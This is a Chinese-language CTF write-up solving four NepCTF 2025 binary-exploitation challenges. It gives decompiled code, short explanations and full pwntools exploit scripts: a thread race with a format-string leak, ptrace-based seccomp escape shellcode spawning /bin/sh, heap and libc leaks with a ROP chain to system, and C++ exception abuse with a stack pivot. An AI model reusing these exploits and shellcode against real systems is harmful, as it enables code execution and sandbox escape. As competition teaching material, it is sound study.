nepCTF2025 pwn题解
nepCTF2025 pwn题解
time
用到pthread_create()创建线程,而线程是使用的同一个内存空间。
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF
newthread[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts_ls();
while ( 1 )
{
while ( !(unsigned int)if_flag() )
;
pthread_create(newthread, 0LL, start_routine, 0LL);
}
}
void __fastcall start_routine(void *a1)
{
unsigned int v1; // eax
int i; // [rsp+4h] [rbp-46Ch]
int j; // [rsp+8h] [rbp-468h]
int fd; // [rsp+Ch] [rbp-464h]
char v5[96]; // [rsp+10h] [rbp-460h] BYREF
char v6[16]; // [rsp+70h] [rbp-400h] BYREF
char buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
unsigned __int64 v8; // [rsp+468h] [rbp-8h]
v8 = __readfsqword(0x28u);
sub_1329(v5);
v1 = strlen(file);
md5_1(v5, file, v1);
md5_2(v5, (__int64)v6);
puts("I will tell you last file name content in md5:");
for ( i = 0; i <= 15; ++i )
printf("%02X", (unsigned __int8)v6[i]);
putchar('\n');
for ( j = 0; j <= 999; ++j )
buf[j] = 0;
fd = open(file, 0);
if ( fd >= 0 )
{
read(fd, buf, 0x3E8uLL);
close(fd);
printf("hello ");
printf(name);
puts(" ,your file read done!");
}
else
{
puts("file not found!");
}
}
循环里面套循环,start_routine函数里面是读取文件的内容到栈,之后,可以利用格式化字符串printf(name);来输出文件内容。
那么很简单,咱们只需要读取flag到栈上即可,也就是file要为'flag',但是if_flag函数会进行检测,那么咱们只需要竞争这个file,使其在if_flag前为非flag字符串,之后进入线程后快速更改file为flag。
exp
#!/usr/bin/env python3
from pwncli import *
context(arch='amd64',os='linux',log_level='debug')
p = lambda s,t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")
# sh = remote("nepctf32-24ji-l5g4-1wiu-rijztdfhc163.nepctf.com",443,ssl=True)
sh = process("./time")
sh.sendlineafter("please input your name:\n", "%22$p|%23$p|%24$p|%25$p|%26$p|%27$p|%28$p|%29$p")
sh.sendline("time")
sh.sendline("flag")
try:
sh.recvuntil("356313CAFBE4C77CB9DC1BE083E946E4\n")
sh.interactive()
except EOFError:
pass


smallbox
ptrace注入,甚至直接抄即可 https://skyeto.com/p/seccomp-jail-escape-using-ptrace
exp
#!/usr/bin/env python3
from pwncli import *
context(arch='amd64', os='linux', log_level='debug')
p = lambda s, t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")
# sh = remote("node5.buuoj.cn", 26759)
sh = process("./smallbox")
shell2 = asm('''
push 0x42
pop rax
inc ah
cqo
push rdx
movabs rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rsi
mov r8, rdx
mov r10, rdx
syscall
''')
shell2 = shell2.ljust((len(shell2) + 3) & ~3, b'\x90')
shellcode = asm('''
mov edi, 0x10
mov esi, [rbp - 0xc]
xor rdx, rdx
xor r10, r10
mov eax, 101
syscall
sub rsp,512
mov edi, 12
mov esi, [rbp - 0xc]
xor rdx, rdx
lea r10, [rsp + 100]
mov eax, 101
syscall
mov r12, [rsp + 100 + 128]
''')
write_bytes = ""
for i in range(0, len(shell2), 4):
write_bytes += f"""
mov rax, 101;
mov rdi, 4;
mov rsi, [rbp - 0xc];
/* Memory location to write to */
mov rdx, [rsp + 100 + 128];
add rdx, {i};
/* Payload bytes */
mov r10, {u32(shell2[i:i + 4].rjust(4, b"0"))};
syscall;
add r12, 4; /* r12 came in handy here */
"""
shellcode += asm(write_bytes)
shellcode+=asm('''
/* detach ptrace and restart execution */
mov rax, 101;
mov rdi, 17;
mov rsi, [rbp - 0xc];
mov rdx, 0;
mov r10, 0;
syscall;
/* yield */
mov eax, 1
loop:
test eax, 1
jne loop;
''')
gdb.attach(sh, 'brva 0x143F\nc')
sh.sendline(shellcode)
sh.interactive()
astray2
主要漏洞
- 对user_read没有限制,读取manage_physic[0]可以直接泄露堆地址和pie。
- 利用user_operation可以绕过checkvisit的检测。
- 对manage_physic[0]进行修改
exp
#!/usr/bin/env python3
from pwncli import *
context(arch='amd64', os='linux', log_level='debug')
p = lambda s, t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")
sh = remote("nepctf30-ebzf-qqwr-tp53-tptqny5nk238.nepctf.com",443,ssl=True)
# sh = process("./astray")
e = ELF('./astray')
libc = ELF('./libc.so.6')
def user_read(index):
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1000')
sh.sendafter("user write to logs(USER_write)\n", 'USER_read')
sh.sendlineafter("10-19: user can visit\n", str(index))
def user_write(index, data):
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1000')
sh.sendafter("user write to logs(USER_write)\n", 'USER_write')
sh.sendlineafter("10-19: user can visit\n", str(index))
sh.sendline(data)
def manager_read(index):
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')
sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_read')
sh.sendlineafter("1-19: manager can visit\n", str(index))
def manager_write(index, data):
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')
sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_write')
sh.sendlineafter("1-19: manager can visit\n", str(index))
sh.sendline(data)
def manager_visit_read(index):
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')
sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_visit')
sh.sendlineafter("1-19: manager can visit\n", str(index))
sh.sendlineafter('2: manager visit user to write to user_logs\n', '1')
def manager_visit_write(index, data):
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')
sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_visit')
sh.sendlineafter("1-19: manager can visit\n", str(index))
sh.sendlineafter('2: manager visit user to write to user_logs\n', '2')
sh.sendline(data)
user_read(0)
sh.recv(8)
heap = u64(sh.recv(8))
pie = u64(sh.recv(8)) - 0x41a0
p("pie", pie)
p("heap", heap)
manager_write(10,p64(0) + p64(heap-0x1620) + p64(pie+e.got['puts']))
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1000')
sh.sendafter("user write to logs(USER_write)\n", 'MANAGER_visit')
sh.sendlineafter("10-19: user can visit\n", '0')
manager_visit_write(10,b'a'*8 + p64(heap) + p64(heap-0x1630))
manager_visit_read(10)
libc.address = u64(sh.recv(8))-0x80e50
p("libc", libc.address)
manager_write(10,p64(0) + p64(heap-0x1620) + p64(libc.sym['_environ']))
manager_visit_read(10)
stack = u64(sh.recv(8))
p("stack", stack)
manager_write(10,p64(0) + p64(heap-0x1620) + p64(stack-0x150))
# gdb.attach(sh,'brva 0x0000000000001958\nc')
pop_rdi = libc.address+0x000000000002a3e5
ret = 0x00000000000f9154+libc.address
manager_visit_write(10, p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym['system']))
sh.interactive()
canutrytry
主要用到cpp的错误处理机制。
https://zhuanlan.zhihu.com/p/13157062538

可以看到op1和op2在同一个try内,而op2内存在栈溢出并且op2只能用一次,那么就只能先利用op1来报错获取libc和stack地址,之后利用op2的栈溢出,覆盖返回地址为0x000000000401ED9

此try对应了0x000000000401F19的catch。

在运行buf1返回时有

不过似乎没什么用
之后进入buf2


又有栈溢出,那么此处栈溢出可以利用为栈迁移,迁移到buf1写入的rop里,即可。
此题还存在沙盒,只能使用write、read、colse、futex,还close(1),这其实很简单,只需要write(2, flag, size)即可。
exp
#!/usr/bin/env python3
from pwncli import *
context(arch='amd64', os='linux', log_level='debug')
p = lambda s, t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")
# sh = remote("node5.buuoj.cn", 26759)
sh = process("./canutrytry")
libc = ELF("./libc.so.6")
def set_size(size):
sh.sendlineafter(">>", '1')
sh.sendlineafter(">>", '2')
sh.sendlineafter(":", str(size))
def add():
sh.sendlineafter(">>", '1')
sh.sendlineafter(">>", '1')
def edit(index, data):
sh.sendlineafter(">>", '1')
sh.sendlineafter(">>", '3')
sh.sendlineafter(":", str(index))
sh.sendafter(":", data)
def door(index):
sh.sendlineafter(">>", '2')
sh.sendlineafter(": ", str(index))
set_size(0x30)
add()
set_size(-1)
add()
sh.recvuntil("setbufaddr:")
libc.address = eval(sh.recvline()) - 0x88060
sh.recvuntil("stackaddr:")
stack = eval(sh.recvline())
p("libc", libc.address)
p("stack", stack)
edit(0, b'a' * 0x20 + p64(0x405460) + p64(0x401ED9))
# gdb.attach(sh, 'b *0x0000000000401600\nc')
door(0)
pop_rdi = 0x2a3e5 + libc.address
pop_rsi_r15 = 0x2a3e3 + libc.address
pop_rdx_r12 = 0x11f497 + libc.address
rop = p64(pop_rdi) + p64(2) + p64(pop_rsi_r15) + p64(0x4053C0) + p64(0) + \
p64(pop_rdx_r12) + p64(0x40) + p64(0) + \
p64(libc.sym['write'])
sh.sendlineafter("well,prepare your rop now!\n", rop)
sh.sendlineafter('Enter your flag: ', b'b' * 0x10)
sh.send(b'c' * 0x10 + p64(0x405458))
sh.interactive()

浙公网安备 33010602011771号